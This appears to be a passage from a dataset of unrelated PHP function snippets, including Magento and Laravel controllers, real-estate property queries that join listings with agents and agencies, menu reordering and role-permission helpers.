$equipment = Mage::getSingleton('bs_logistics/equipment')->load($equipmentId)\n ->setWorkshopId($this->getRequest()->getParam('flag_workshop_id'))\n ->setIsMassupdate(true)\n ->save();\n }\n $this->_getSession()->addSuccess(\n $this->__('Total of %d equipments were successfully updated.', count($equipmentIds))\n );\n } catch (Mage_Core_Exception $e) {\n Mage::getSingleton('adminhtml/session')->addError($e->getMessage());\n } catch (Exception $e) {\n Mage::getSingleton('adminhtml/session')->addError(\n Mage::helper('bs_logistics')->__('There was an error updating equipments.')\n );\n Mage::logException($e);\n }\n }\n $this->_redirect('*/*/index');\n }", "public function store($data)\n {\n try {\n $store = new Listing;\n $store->user_id = $data['user_id'] ?? Auth::user()->id;\n $store->listing_category_id = $data['listing_category_id'];\n $store->listing_type = $data['listing_type'];\n $store->state_id = $data['state_id'];\n $store->city_id = $data['city_id'];\n $store->local_govt_id = $data['local_govt_id'];\n $store->title = $data['title'];\n $store->address = $data['address'];\n $store->description = $data['description'] ?? null;\n $store->room_policy = $data['room_policy'] ?? null;\n $store->service_option = $data['service_option'] ?? 'no';\n $store->service_description = $data['service_description'] ?? null;\n $store->baths = $data['baths'] ?? null;\n $store->rooms = $data['rooms'] ?? null;\n $store->pricing_type = $data['pricing_type'] ?? \"monthly\";\n $store->amount = $data['amount'] ?? 0;\n $store->amount = $data['step'] ?? 1;\n $store->save();\n activity()\n ->causedBy(Auth::user())\n ->performedOn($store)\n ->withProperties(['id' => $store->id])\n ->log('listing category created');\n if(!empty($data['property_amenities'])){\n $amenities = new Request(['listing_id' => $store->id, 'amenities'=> $data['property_amenities']]);\n ListingAmenitiesController::bulk_update($amenities);\n }\n return $store;\n } catch (Exception $e) {\n return $e->getMessage();\n }\n }", "public function setAttributes(Collection $properties);", "private function mapProperties(): void\n {\n $this->properties = Collect::keyBy($this->collection->getProperties()->getValues(), 'identifier');\n }", "public function setItems($items)\n {\n $all_items = true;\n foreach ($items as $product) {\n $all_items &= $product instanceof Assurance;\n }\n if ($all_items) {\n $this->items = $items;\n parent::setCollection($items);\n }\n }", "public function aAddTo($attribute, PersistentObject $value)\n {\n Logger::getInstance()->po_log(\"PO:aAddTo $attribute []=\".$value->getClass());\n \n // CHEK: attribute es un atributo hasMany\n \n // Si el rol tiene el nombre de la assoc declarado, necesito ver cual es el nombre\n // completo de la key en hasOne o hasMany porque usa attribute__assocName.\n $attribute = $this->getRoleWithAssocName( $attribute );\n\n\n // TODO: Se podria poner la restriccion de que no se puede hacer set('id', xxx); \n // o sea el id no se puede modificar por el usuario.\n // (asi puedo asumir que si no tiene id es xq no esta guardado... y me ahorro consultar si existe en la base)\n\n // Aqui se hace todo lo del codigo comentado abajo\n $this->lazyLoadHasMany($attribute);\n\n\n // Chekeo de tipos con el tipo definido en hasMany para este atributo.\n \n // Si es colection, se agrega normalmente, \n // si es set se verifica que no hay otro con el mismo id, \n // si es list al salvar y cargar se respeta el orden en el que se agregaron los elementos.\n \n $add = false;\n \n switch ( $this->hasManyType[$attribute] )\n {\n case self::HASMANY_COLLECTION:\n case self::HASMANY_LIST: // Por ahora hace lo mismo que COLECTION, en PM se verificaria el orden.\n \n $add = true;\n \n break;\n case self::HASMANY_SET: // Buscar repetidos por id, si ya esta no agrego de nuevo.\n \n $found = false;\n reset( $this->attributeValues[$attribute] );\n $elem = current( $this->attributeValues[$attribute] );\n while ( $elem )\n {\n if ($elem->getId() === $value->getId() )\n {\n $found = true;\n break; // while\n }\n $elem = next( $this->attributeValues[$attribute] );\n }\n\n $add = !$found; // Agrega solo si no esta.\n\n break;\n }\n\n if ($add)\n {\n $this->attributeValues[$attribute][] = $value; // TODO: Verificar que args0 es un PersistentObject y es simple!\n // FIXME: bool is_subclass_of ( mixed $object, string $class_name )\n $this->dirtyMany = true; // Marca como editado el hasMany\n }\n }", "public function afterGetIdentities(Product $subject, array $identities): array\n {\n foreach ($this->configurableType->getParentIdsByChild($subject->getId()) as $parentId) {\n $parentProduct = $this->productRepository->getById($parentId);\n $identities = array_merge($identities, $parentProduct->getIdentities());\n }\n\n return array_unique($identities);\n }", "public function getPrinceAlbertPropertyListImagesForSale(){\n\t\t\ttry{\n\t\t\t\t$query = \"SELECT properties.property_id, property_type, property_desc, price, num_bathrooms, street_no, \n\t\t\t\t street_name, num_beds, num_garages, property_image_id, image_location, suburbs.suburb_id, \n\t\t\t\t\t\t suburb_name, cities.city_id, city_name, municipalities.municipality_id, municipalities.municipality_name,\n\t\t\t\t\t\t agents.agent_id, firstname, lastname, email, phone, agencies.agency_id, agency_name, logo \n\t\t\t\t\t\t FROM property_images \n\t\t\t\t\t\t LEFT JOIN properties\n\t\t\t\t\t\t ON property_images.property_id = properties.property_id\n\t\t\t\t\t\t LEFT JOIN suburbs\n\t\t\t\t\t\t ON properties.suburb_id = suburbs.suburb_id\n\t\t\t\t\t\t LEFT JOIN cities\n\t\t\t\t\t\t ON suburbs.city_id = cities.city_id\n\t\t\t\t\t\t LEFT JOIN municipalities\n\t\t\t\t\t\t ON cities.municipality_id = municipalities.municipality_id\n\t\t\t\t\t\t LEFT JOIN agents\n\t\t\t\t\t\t ON properties.agent_id = agents.agent_id\n\t\t\t\t\t\t LEFT JOIN agencies\n\t\t\t\t\t\t ON agents.agency_id = agencies.agency_id\n\t\t\t\t\t\t WHERE municipalities.municipality_id = '106'\n\t\t\t\t\t\t AND properties.property_status = 'For Sale'\n\t\t\t\t\t\t GROUP BY properties.property_id\n\t\t\t\t\t\t DESC\n\t\t\t\t\t\t LIMIT 3\n\t\t\t\t\t\t \";\n\t\t\t\t$result = $this->conn->query($query);\n\n\t\t\t $properties = array();\n\t\t\t\t\n\t\t\t\tforeach($result as $row){\n\t\t\t\t\t$agency = new Agency();\n\t\t\t\t\t$agency->setAgencyID($row['agency_id']);\n\t\t\t\t\t$agency->setAgencyName($row['agency_name']);\n\t\t\t\t\t$agency->setLogo($row['logo']);\n\t\t\t\t\t\n\t\t\t\t\t$agent = new Agent();\n\t\t\t\t\t$agent->setAgentID($row['agent_id']);\n\t\t\t\t\t$agent->setFirstname($row['firstname']);\n\t\t\t\t\t$agent->setLastname($row['lastname']);\n\t\t\t\t\t$agent->setEmail($row['email']);\n\t\t\t\t\t$agent->setPhone($row['phone']);\n\t\t\t\t\t$agent->setAgency($agency);\n\t\t\t\t\t\n\t\t\t\t\t$munucipality = new Municipality();\n\t\t\t\t\t$munucipality->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$munucipality->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t\n\t\t\t\t\t$city = new City();\n\t\t\t\t\t$city->setCityID($row['city_id']);\n\t\t\t\t\t$city->setCityName($row['city_name']);\n\t\t\t\t\t$city->setMunicipality($munucipality);\n\t\t\t\t\t\n\t\t\t\t\t$suburb = new Suburb();\n\t\t\t\t\t$suburb->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$suburb->setSuburbName($row['suburb_name']);\n\t\t\t\t\t$suburb->setCity($city);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t$property = new Property();\t\t\n\t\t\t\t\t$property->setPropertyID($row['property_id']);\t\t\t\n\t\t\t\t\t$property->setSuburb($suburb);\t\n\t\t\t\t\t$property->setAgent($agent);\n\t\t\t\t\t$property->setNumBathRoom($row['num_bathrooms']);\n\t\t\t\t\t$property->setNumBed($row['num_beds']);\n\t\t\t\t\t$property->setNumGarage($row['num_garages']);\t\n\t\t\t\t\t$property->setStreetNo($row['street_no']);\t\n\t\t\t\t\t$property->setStreetName($row['street_name']);\t\n\t\t\t\t\t$property->setPropertyDescription($row['property_desc']);\t\n\t\t\t\t\t$property->setPropertyType($row['property_type']);\t\t\n\t\t\t\t\t$property->setPrice($row['price']);\t\n\t\t\t\t\t$property->setImageLocation($row['image_location']);\n\t\t\t\t\t$property->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$property->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$property->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t$property->setCityID($row['city_id']);\n\t\t\t\t\t$properties[] = $property;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\treturn $properties;\n\t\t\t\t\n\t\t\t}catch(PDOException $e){\n\t\t\t\techo $e->getMessage();\n\t\t\t}\n\t\t}", "public function distributeInquiriesToAgents(){\n \t$college_id = 6731;\n \t$org_branch_id = 254;\n \t$arr = array(292, 293, 294, 295, 296, 298 );\n\n \t$qry = Recruitment::on('bk')->where('college_id', $college_id)->select('user_id')->get();\n\n \t$arr_cnt = count($arr);\n\n \t$counter = 0;\n \tforeach ($qry as $key) {\n \t\tif ($counter > $arr_cnt -1) {\n \t\t\t$counter = 0;\n \t\t}\n\n \t\t//print_r(\"user_id \". $key->user_id. \" college_id 6731 org_portal_id \". $arr[$counter] . \"<br>\");\n\n \t\t$attr = array(\"user_id\" => $key->user_id, \"college_id\" => $college_id, \"org_portal_id\" => $arr[$counter]);\n \t\t$val = array(\"user_id\" => $key->user_id, \"college_id\" => $college_id, \"org_portal_id\" => $arr[$counter]);\n\n \t\tRecruitmentTag::updateOrCreate($attr, $val);\n \t\t$counter++;\n \t}\n\n \treturn \"success\";\n }", "public function ids( array $params = array() );", "public function images()\n {\n return $this->hasMany(PropertyImage::class,'property_id', 'id');\n }", "public function update(Request $request, $id)\n { \n $getMenu=Menu::where('menuId',$id)->get();\n $getPMenu=PermissionMenu::get(); \n foreach($getPMenu as $getPM){\n foreach($getMenu as $getM){\n if($getPM->menuName==$getM->menuName){\n PermissionMenu::where('menuName',$getM->menuName)->update([\n 'menuName' => $request->menuName,\n 'created_at' => Carbon::now(),\n 'updated_at' => Carbon::now(),\n ]);\n \n }\n }\n } \n Menu::where('menuId',$id)->update([\n 'menuName' => $request->menuName,\n 'created_at' => Carbon::now(),\n 'updated_at' => Carbon::now(),\n ]); \n return response()->json('successfully updated');\n }", "public function menus(){\n return $this->belongsToMany('ChecklistSilfa\\Entities\\MainMenu', 'permisos_menu', 'user_id', 'permisos_id')->where('menu.estado','=','1')->orderBy('menu.id');\n }", "public function getArrayOfChildIdentifiersAttribute() : array\n {\n $idArray = [];\n\n foreach ($this->allChild->pluck('array_of_child_identifiers') as $array) {\n $idArray = array_merge($array, $idArray);\n }\n\n return array_merge($idArray, [$this->id]);\n }", "public function getCapeAgulhasSimilarPropertyToRent(){\n\t\t\ttry{\n\t\t\t\t$query = \"SELECT properties.property_id, property_type, property_desc, price, num_bathrooms, street_no, \n\t\t\t\t street_name, num_beds, num_garages, property_image_id, image_location, suburbs.suburb_id, \n\t\t\t\t\t\t suburb_name, cities.city_id, city_name, municipalities.municipality_id, municipalities.municipality_name,\n\t\t\t\t\t\t agents.agent_id, firstname, lastname, email, phone, agencies.agency_id, agency_name, logo \n\t\t\t\t\t\t FROM property_images \n\t\t\t\t\t\t LEFT JOIN properties\n\t\t\t\t\t\t ON property_images.property_id = properties.property_id\n\t\t\t\t\t\t LEFT JOIN suburbs\n\t\t\t\t\t\t ON properties.suburb_id = suburbs.suburb_id\n\t\t\t\t\t\t LEFT JOIN cities\n\t\t\t\t\t\t ON suburbs.city_id = cities.city_id\n\t\t\t\t\t\t LEFT JOIN municipalities\n\t\t\t\t\t\t ON cities.municipality_id = municipalities.municipality_id\n\t\t\t\t\t\t LEFT JOIN agents\n\t\t\t\t\t\t ON properties.agent_id = agents.agent_id\n\t\t\t\t\t\t LEFT JOIN agencies\n\t\t\t\t\t\t ON agents.agency_id = agencies.agency_id\n\t\t\t\t\t\t WHERE municipalities.municipality_id = 112\n\t\t\t\t\t\t AND properties.property_status = 'To Rent'\n\t\t\t\t\t\t GROUP BY properties.property_id\n\t\t\t\t\t\t DESC\n\t\t\t\t\t\t LIMIT 3\n\t\t\t\t\t\t \";\n\t\t\t\t$result = $this->conn->query($query);\n\n\t\t\t $properties = array();\n\t\t\t\t\n\t\t\t\tforeach($result as $row){\n\t\t\t\t\t$agency = new Agency();\n\t\t\t\t\t$agency->setAgencyID($row['agency_id']);\n\t\t\t\t\t$agency->setAgencyName($row['agency_name']);\n\t\t\t\t\t$agency->setLogo($row['logo']);\n\t\t\t\t\t\n\t\t\t\t\t$agent = new Agent();\n\t\t\t\t\t$agent->setAgentID($row['agent_id']);\n\t\t\t\t\t$agent->setFirstname($row['firstname']);\n\t\t\t\t\t$agent->setLastname($row['lastname']);\n\t\t\t\t\t$agent->setEmail($row['email']);\n\t\t\t\t\t$agent->setPhone($row['phone']);\n\t\t\t\t\t$agent->setAgency($agency);\n\t\t\t\t\t\n\t\t\t\t\t$munucipality = new Municipality();\n\t\t\t\t\t$munucipality->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$munucipality->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t\n\t\t\t\t\t$city = new City();\n\t\t\t\t\t$city->setCityID($row['city_id']);\n\t\t\t\t\t$city->setCityName($row['city_name']);\n\t\t\t\t\t$city->setMunicipality($munucipality);\n\t\t\t\t\t\n\t\t\t\t\t$suburb = new Suburb();\n\t\t\t\t\t$suburb->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$suburb->setSuburbName($row['suburb_name']);\n\t\t\t\t\t$suburb->setCity($city);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t$property = new Property();\t\t\n\t\t\t\t\t$property->setPropertyID($row['property_id']);\t\t\t\n\t\t\t\t\t$property->setSuburb($suburb);\t\n\t\t\t\t\t$property->setAgent($agent);\n\t\t\t\t\t$property->setNumBathRoom($row['num_bathrooms']);\n\t\t\t\t\t$property->setNumBed($row['num_beds']);\n\t\t\t\t\t$property->setNumGarage($row['num_garages']);\t\n\t\t\t\t\t$property->setStreetNo($row['street_no']);\t\n\t\t\t\t\t$property->setStreetName($row['street_name']);\t\n\t\t\t\t\t$property->setPropertyDescription($row['property_desc']);\t\n\t\t\t\t\t$property->setPropertyType($row['property_type']);\t\t\n\t\t\t\t\t$property->setPrice($row['price']);\t\n\t\t\t\t\t$property->setImageLocation($row['image_location']);\n\t\t\t\t\t$property->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$property->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$property->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t$property->setCityID($row['city_id']);\n\t\t\t\t\t$properties[] = $property;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\treturn $properties;\n\t\t\t\t\n\t\t\t}catch(PDOException $e){\n\t\t\t\techo $e->getMessage();\n\n\n\t\t\t}\n\t\t}", "public function getCapeAgulhasPropertyListImagesForSale(){\n\t\t\ttry{\n\t\t\t\t$query = \"SELECT properties.property_id, property_type, property_desc, price, num_bathrooms, street_no, \n\t\t\t\t street_name, num_beds, num_garages, property_image_id, image_location, suburbs.suburb_id, \n\t\t\t\t\t\t suburb_name, cities.city_id, city_name, municipalities.municipality_id, municipalities.municipality_name,\n\t\t\t\t\t\t agents.agent_id, firstname, lastname, email, phone, agencies.agency_id, agency_name, logo \n\t\t\t\t\t\t FROM property_images \n\t\t\t\t\t\t LEFT JOIN properties\n\t\t\t\t\t\t ON property_images.property_id = properties.property_id\n\t\t\t\t\t\t LEFT JOIN suburbs\n\t\t\t\t\t\t ON properties.suburb_id = suburbs.suburb_id\n\t\t\t\t\t\t LEFT JOIN cities\n\t\t\t\t\t\t ON suburbs.city_id = cities.city_id\n\t\t\t\t\t\t LEFT JOIN municipalities\n\t\t\t\t\t\t ON cities.municipality_id = municipalities.municipality_id\n\t\t\t\t\t\t LEFT JOIN agents\n\t\t\t\t\t\t ON properties.agent_id = agents.agent_id\n\t\t\t\t\t\t LEFT JOIN agencies\n\t\t\t\t\t\t ON agents.agency_id = agencies.agency_id\n\t\t\t\t\t\t WHERE municipalities.municipality_id = '112'\n\t\t\t\t\t\t AND properties.property_status = 'For Sale'\n\t\t\t\t\t\t GROUP BY properties.property_id\n\t\t\t\t\t\t DESC\n\t\t\t\t\t\t LIMIT 3\n\t\t\t\t\t\t \";\n\t\t\t\t$result = $this->conn->query($query);\n\n\t\t\t $properties = array();\n\t\t\t\t\n\t\t\t\tforeach($result as $row){\n\t\t\t\t\t$agency = new Agency();\n\t\t\t\t\t$agency->setAgencyID($row['agency_id']);\n\t\t\t\t\t$agency->setAgencyName($row['agency_name']);\n\t\t\t\t\t$agency->setLogo($row['logo']);\n\t\t\t\t\t\n\t\t\t\t\t$agent = new Agent();\n\t\t\t\t\t$agent->setAgentID($row['agent_id']);\n\t\t\t\t\t$agent->setFirstname($row['firstname']);\n\t\t\t\t\t$agent->setLastname($row['lastname']);\n\t\t\t\t\t$agent->setEmail($row['email']);\n\t\t\t\t\t$agent->setPhone($row['phone']);\n\t\t\t\t\t$agent->setAgency($agency);\n\t\t\t\t\t\n\t\t\t\t\t$munucipality = new Municipality();\n\t\t\t\t\t$munucipality->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$munucipality->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t\n\t\t\t\t\t$city = new City();\n\t\t\t\t\t$city->setCityID($row['city_id']);\n\t\t\t\t\t$city->setCityName($row['city_name']);\n\t\t\t\t\t$city->setMunicipality($munucipality);\n\t\t\t\t\t\n\t\t\t\t\t$suburb = new Suburb();\n\t\t\t\t\t$suburb->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$suburb->setSuburbName($row['suburb_name']);\n\t\t\t\t\t$suburb->setCity($city);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t$property = new Property();\t\t\n\t\t\t\t\t$property->setPropertyID($row['property_id']);\t\t\t\n\t\t\t\t\t$property->setSuburb($suburb);\t\n\t\t\t\t\t$property->setAgent($agent);\n\t\t\t\t\t$property->setNumBathRoom($row['num_bathrooms']);\n\t\t\t\t\t$property->setNumBed($row['num_beds']);\n\t\t\t\t\t$property->setNumGarage($row['num_garages']);\t\n\t\t\t\t\t$property->setStreetNo($row['street_no']);\t\n\t\t\t\t\t$property->setStreetName($row['street_name']);\t\n\t\t\t\t\t$property->setPropertyDescription($row['property_desc']);\t\n\t\t\t\t\t$property->setPropertyType($row['property_type']);\t\t\n\t\t\t\t\t$property->setPrice($row['price']);\t\n\t\t\t\t\t$property->setImageLocation($row['image_location']);\n\t\t\t\t\t$property->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$property->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$property->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t$property->setCityID($row['city_id']);\n\t\t\t\t\t$properties[] = $property;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\treturn $properties;\n\t\t\t\t\n\t\t\t}catch(PDOException $e){\n\t\t\t\techo $e->getMessage();\n\t\t\t}\n\t\t}", "public function create($all_active_menu, $all_inactive_menu)\n {\n // --\n // Active menu\n foreach ($all_active_menu as $key => $value) {\n $jObj = json_decode($value);\n\n if (!empty($jObj)) {\n foreach ($jObj as $jKey => $jValue) {\n // --\n // Update menu\n $menu = Menu::find($jValue->id);\n $menu->order = $jKey;\n $menu->status = 1;\n $menu->parent_menu_id = 0;\n $menu->save();\n\n // --\n // Update child menu\n if (!empty($jValue->children)) {\n foreach ($jValue->children as $child_sort => $sub_menu) {\n $menu = Menu::find($sub_menu->id);\n $menu->order = $child_sort;\n $menu->status = 1;\n $menu->parent_menu_id = $jValue->id;\n $menu->save();\n\n // --\n // Update sub child menu\n if (!empty($sub_menu->children)) {\n foreach ($sub_menu->children as $sub_child_sort => $sub_child_menu) {\n $menu = Menu::find($sub_child_menu->id);\n $menu->order = $sub_child_sort;\n $menu->status = 1;\n $menu->parent_menu_id = $sub_menu->id;\n $menu->save();\n }\n }\n }\n }\n }\n }\n }\n\n // --\n // Inactive menu\n foreach ($all_inactive_menu as $key => $value) {\n $jObj = json_decode($value);\n\n if (!empty($jObj)) {\n foreach ($jObj as $jKey => $jValue) {\n // --\n // Update menu\n $menu = Menu::find($jValue->id);\n $menu->order = $jKey;\n $menu->status = 0;\n $menu->parent_menu_id = 0;\n $menu->save();\n\n // --\n // Update child menu\n if (!empty($jValue->children)) {\n foreach ($jValue->children as $child_sort => $sub_menu) {\n $menu = Menu::find($sub_menu->id);\n $menu->order = $child_sort;\n $menu->status = 0;\n $menu->parent_menu_id = $jValue->id;\n $menu->save();\n\n // --\n // Update sub child menu\n if (!empty($sub_menu->children)) {\n foreach ($sub_menu->children as $sub_child_sort => $sub_child_menu) {\n $menu = Menu::find($sub_child_menu->id);\n $menu->order = $sub_child_sort;\n $menu->status = 0;\n $menu->parent_menu_id = $sub_menu->id;\n $menu->save();\n }\n }\n }\n }\n }\n }\n }\n \n return true;\n }", "function setPrivileges() {\n $this->Session->write('Privilege.User.id', $this->Session->read('Auth.User.id'));\n foreach(Configure::read('Privilege') as $entity => $privileges) {\n foreach($privileges as $key => $privilege) {\n $key = \"Club.\".Configure::read('Club.id').\".Privilege.$entity.$key\";\n $this->Session->write($key, $this->isAuthorized($privilege));\n }\n }\n }", "public function getMultipleWishlistId();", "public function revisionIds(SemillaInterface $entity);", "public function getPrinceAlbertSimilarPropertyForSale(){\n\t\t\ttry{\n\t\t\t\t$query = \"SELECT properties.property_id, property_status, property_type, property_desc, price, num_bathrooms, \n\t\t\t\t\t\t street_no, street_name, num_beds, num_garages, property_image_id, image_location, suburbs.suburb_id, \n\t\t\t\t\t\t suburb_name, cities.city_id, city_name, municipalities.municipality_id, municipalities.municipality_name,\n\t\t\t\t\t\t agents.agent_id, firstname, lastname, email, phone, agencies.agency_id, agency_name, logo \n\t\t\t\t\t\t FROM property_images \n\t\t\t\t\t\t LEFT JOIN properties\n\t\t\t\t\t\t ON property_images.property_id = properties.property_id\n\t\t\t\t\t\t LEFT JOIN suburbs\n\t\t\t\t\t\t ON properties.suburb_id = suburbs.suburb_id\n\t\t\t\t\t\t LEFT JOIN cities\n\t\t\t\t\t\t ON suburbs.city_id = cities.city_id\n\t\t\t\t\t\t LEFT JOIN municipalities\n\t\t\t\t\t\t ON cities.municipality_id = municipalities.municipality_id\n\t\t\t\t\t\t LEFT JOIN agents\n\t\t\t\t\t\t ON properties.agent_id = agents.agent_id\n\t\t\t\t\t\t LEFT JOIN agencies\n\t\t\t\t\t\t ON agents.agency_id = agencies.agency_id\n\t\t\t\t\t\t WHERE municipalities.municipality_id = 106\n\t\t\t\t\t\t AND properties.property_status = 'For Sale'\n\t\t\t\t\t\t GROUP BY properties.property_id\n\t\t\t\t\t\t DESC\n\t\t\t\t\t\t LIMIT 3\n\t\t\t\t\t\t \";\n\t\t\t\t$result = $this->conn->query($query);\n\n\t\t\t $properties = array();\n\t\t\t\t\n\t\t\t\tforeach($result as $row){\n\t\t\t\t\t$agency = new Agency();\n\t\t\t\t\t$agency->setAgencyID($row['agency_id']);\n\t\t\t\t\t$agency->setAgencyName($row['agency_name']);\n\t\t\t\t\t$agency->setLogo($row['logo']);\n\t\t\t\t\t\n\t\t\t\t\t$agent = new Agent();\n\t\t\t\t\t$agent->setAgentID($row['agent_id']);\n\t\t\t\t\t$agent->setFirstname($row['firstname']);\n\t\t\t\t\t$agent->setLastname($row['lastname']);\n\t\t\t\t\t$agent->setEmail($row['email']);\n\t\t\t\t\t$agent->setPhone($row['phone']);\n\t\t\t\t\t$agent->setAgency($agency);\n\t\t\t\t\t\n\t\t\t\t\t$munucipality = new Municipality();\n\t\t\t\t\t$munucipality->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$munucipality->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t\n\t\t\t\t\t$city = new City();\n\t\t\t\t\t$city->setCityID($row['city_id']);\n\t\t\t\t\t$city->setCityName($row['city_name']);\n\t\t\t\t\t$city->setMunicipality($munucipality);\n\t\t\t\t\t\n\t\t\t\t\t$suburb = new Suburb();\n\t\t\t\t\t$suburb->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$suburb->setSuburbName($row['suburb_name']);\n\t\t\t\t\t$suburb->setCity($city);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t$property = new Property();\t\t\n\t\t\t\t\t$property->setPropertyID($row['property_id']);\t\t\t\n\t\t\t\t\t$property->setSuburb($suburb);\t\n\t\t\t\t\t$property->setAgent($agent);\n\t\t\t\t\t$property->setNumBathRoom($row['num_bathrooms']);\n\t\t\t\t\t$property->setNumBed($row['num_beds']);\n\t\t\t\t\t$property->setNumGarage($row['num_garages']);\t\n\t\t\t\t\t$property->setStreetNo($row['street_no']);\t\n\t\t\t\t\t$property->setStreetName($row['street_name']);\t\n\t\t\t\t\t$property->setPropertyDescription($row['property_desc']);\t\n\t\t\t\t\t$property->setPropertyType($row['property_type']);\t\t\n\t\t\t\t\t$property->setPrice($row['price']);\t\n\t\t\t\t\t$property->setImageLocation($row['image_location']);\n\t\t\t\t\t$property->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$property->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$property->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t$property->setCityID($row['city_id']);\n\t\t\t\t\t$properties[] = $property;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\treturn $properties;\n\t\t\t\t\n\t\t\t}catch(PDOException $e){\n\t\t\t\techo $e->getMessage();\n\t\t\t}\n\t\t}", "public function assignPermissions(Request $request)\n {\n $request->validate([\n 'role_id' => 'required',\n 'permissionIds' => 'required'\n ]);\n\n $role = Role::find($request->role_id);\n $role->givePermission($request->permissionIds); \n }", "public function setAtributos($atributos)\n {\n $this->atributos = collect($atributos)->map(function ($item) {\n return [\"atributo_id\" => $item];\n });\n }", "public function revisionIds(MentorInterface $entity);", "public function attach($ids, array $attributes = [], $touch = true)\n {\n list($idsOnly, $idsAttributes) = $this->getIdsWithAttributes($ids, $attributes);\n\n $this->attributes = $attributes;\n\n $this->parent->fireModelEvent('pivotAttaching', true, $this, $idsOnly, $idsAttributes);\n MorphToMany::attach($ids, $this->attributes, $touch);\n $this->parent->fireModelEvent('pivotAttached', false, $this, $idsOnly, $idsAttributes);\n }", "public function addAttributes(string $property, array $attributes)\n {\n $this->attributes[$property] = $attributes;\n }", "protected function addItensToOrder()\n {\n DB::beginTransaction();\n try{\n $this->order = $this->createOrder();\n foreach ($this->cart as $cart) {\n $this->order->orderItens()->create([\n 'itens_id' => $cart->id,\n 'quantity' => $cart->qty,\n 'price' => $cart->price,\n 'program' => $cart->options->program\n ]);\n }\n DB::commit();\n $this->notyUsers();\n }catch(Exception $e){\n DB::rollback();\n DebugBar::addException($e);\n }\n }", "public function getCapeAgulhasSimilarPropertyOnShow(){\n\t\t\ttry{\n\t\t\t\t$query = \"SELECT properties.property_id, property_type, property_desc, price, num_bathrooms, street_no, \n\t\t\t\t street_name, num_beds, num_garages, property_image_id, image_location, suburbs.suburb_id, \n\t\t\t\t\t\t suburb_name, cities.city_id, city_name, municipalities.municipality_id, municipalities.municipality_name,\n\t\t\t\t\t\t agents.agent_id, firstname, lastname, email, phone, agencies.agency_id, agency_name, logo \n\t\t\t\t\t\t FROM property_images \n\t\t\t\t\t\t LEFT JOIN properties\n\t\t\t\t\t\t ON property_images.property_id = properties.property_id\n\t\t\t\t\t\t LEFT JOIN suburbs\n\t\t\t\t\t\t ON properties.suburb_id = suburbs.suburb_id\n\t\t\t\t\t\t LEFT JOIN cities\n\t\t\t\t\t\t ON suburbs.city_id = cities.city_id\n\t\t\t\t\t\t LEFT JOIN municipalities\n\t\t\t\t\t\t ON cities.municipality_id = municipalities.municipality_id\n\t\t\t\t\t\t LEFT JOIN agents\n\t\t\t\t\t\t ON properties.agent_id = agents.agent_id\n\t\t\t\t\t\t LEFT JOIN agencies\n\t\t\t\t\t\t ON agents.agency_id = agencies.agency_id\n\t\t\t\t\t\t WHERE municipalities.municipality_id = 112\n\t\t\t\t\t\t AND properties.property_status = 'On Show'\n\t\t\t\t\t\t GROUP BY properties.property_id\n\t\t\t\t\t\t DESC\n\t\t\t\t\t\t LIMIT 3\n\t\t\t\t\t\t \";\n\t\t\t\t$result = $this->conn->query($query);\n\n\t\t\t $properties = array();\n\t\t\t\t\n\t\t\t\tforeach($result as $row){\n\t\t\t\t\t$agency = new Agency();\n\t\t\t\t\t$agency->setAgencyID($row['agency_id']);\n\t\t\t\t\t$agency->setAgencyName($row['agency_name']);\n\t\t\t\t\t$agency->setLogo($row['logo']);\n\t\t\t\t\t\n\t\t\t\t\t$agent = new Agent();\n\t\t\t\t\t$agent->setAgentID($row['agent_id']);\n\t\t\t\t\t$agent->setFirstname($row['firstname']);\n\t\t\t\t\t$agent->setLastname($row['lastname']);\n\t\t\t\t\t$agent->setEmail($row['email']);\n\t\t\t\t\t$agent->setPhone($row['phone']);\n\t\t\t\t\t$agent->setAgency($agency);\n\t\t\t\t\t\n\t\t\t\t\t$munucipality = new Municipality();\n\t\t\t\t\t$munucipality->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$munucipality->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t\n\t\t\t\t\t$city = new City();\n\t\t\t\t\t$city->setCityID($row['city_id']);\n\t\t\t\t\t$city->setCityName($row['city_name']);\n\t\t\t\t\t$city->setMunicipality($munucipality);\n\t\t\t\t\t\n\t\t\t\t\t$suburb = new Suburb();\n\t\t\t\t\t$suburb->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$suburb->setSuburbName($row['suburb_name']);\n\t\t\t\t\t$suburb->setCity($city);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t$property = new 